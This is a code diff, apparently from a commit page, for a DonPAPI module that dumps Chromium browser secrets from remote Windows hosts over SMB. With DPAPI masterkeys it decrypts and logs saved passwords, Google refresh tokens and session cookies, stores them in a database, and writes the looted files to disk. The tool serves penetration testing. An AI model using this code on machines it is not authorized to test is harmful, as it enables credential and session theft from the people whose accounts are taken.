11from typing import Any
22from dploot .lib .target import Target
33from dploot .lib .smb import DPLootSMBConnection
4- from dploot .triage .browser import BrowserTriage , LoginData , GoogleRefreshToken
4+ from dploot .lib .utils import dump_looted_files_to_disk
5+ from dploot .triage .browser import BrowserTriage , LoginData , GoogleRefreshToken , Cookie
56from donpapi .core import DonPAPICore
67from donpapi .lib .logger import DonPAPIAdapter
78
@@ -20,28 +21,30 @@ def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: list,
2021
2122 def run (self ):
2223 self .logger .display ("Dumping User Chromium Browsers" )
23- browser_triage = BrowserTriage (target = self .target , conn = self .conn , masterkeys = self .masterkeys )
24- browser_credentials , cookies = browser_triage .triage_browsers (gather_cookies = True )
25- for credential in browser_credentials :
24+
25+ def browser_callback (credential ):
2626 if isinstance (credential , LoginData ):
2727 cred_url = credential .url + " -" if credential .url != "" else "-"
2828 self .logger .secret (f"[{ credential .winuser } ] [Password] { cred_url } { credential .username } :{ credential .password } " , f"{ credential .browser .upper ()} " )
2929 self .context .db .add_secret (computer = self .context .host , collector = self .tag , windows_user = credential .winuser , username = credential .username , password = credential .password , target = credential .url , program = credential .browser .title ())
3030 elif isinstance (credential , GoogleRefreshToken ):
3131 self .logger .secret (f"[{ credential .winuser } ] [Google Refresh Token] { credential .service } :{ credential .token } " , f"{ credential .browser .upper ()} " )
3232 self .context .db .add_secret (computer = self .context .host , collector = self .tag , windows_user = credential .winuser , username = credential .service , password = credential .token , target = "Google Refresh Token" , program = credential .browser .title ())
33- for cookie in cookies :
34- if cookie .cookie_value != "" :
35- self .logger .secret (f"[{ cookie .winuser } ] [Cookie] { cookie .host } { cookie .path } - { cookie .cookie_name } :{ cookie .cookie_value } " ,f"{ cookie .browser .upper ()} " )
36- self .context .db .add_cookie (
37- computer = self .context .host ,
38- browser = cookie .browser ,
39- windows_user = cookie .winuser ,
40- url = f"{ cookie .host } { cookie .path } " ,
41- cookie_name = cookie .cookie_name ,
42- cookie_value = cookie .cookie_value ,
43- creation_utc = cookie .creation_utc ,
44- expires_utc = cookie .expires_utc ,
45- last_access_utc = cookie .last_access_utc ,
46- )
47-
33+ elif isinstance (credential , Cookie ):
34+ if credential .cookie_value != "" :
35+ self .logger .secret (f"[{ credential .winuser } ] [Cookie] { credential .host } { credential .path } - { credential .cookie_name } :{ credential .cookie_value } " ,f"{ credential .browser .upper ()} " )
36+ self .context .db .add_cookie (
37+ computer = self .context .host ,
38+ browser = credential .browser ,
39+ windows_user = credential .winuser ,
40+ url = f"{ credential .host } { credential .path } " ,
41+ cookie_name = credential .cookie_name ,
42+ cookie_value = credential .cookie_value ,
43+ creation_utc = credential .creation_utc ,
44+ expires_utc = credential .expires_utc ,
45+ last_access_utc = credential .last_access_utc ,
46+ )
47+
48+ browser_triage = BrowserTriage (target = self .target , conn = self .conn , masterkeys = self .masterkeys , per_secret_callback = browser_callback )
49+ browser_triage .triage_browsers (gather_cookies = True )
50+ dump_looted_files_to_disk (self .context .target_output_dir , browser_triage .looted_files )
0 commit comments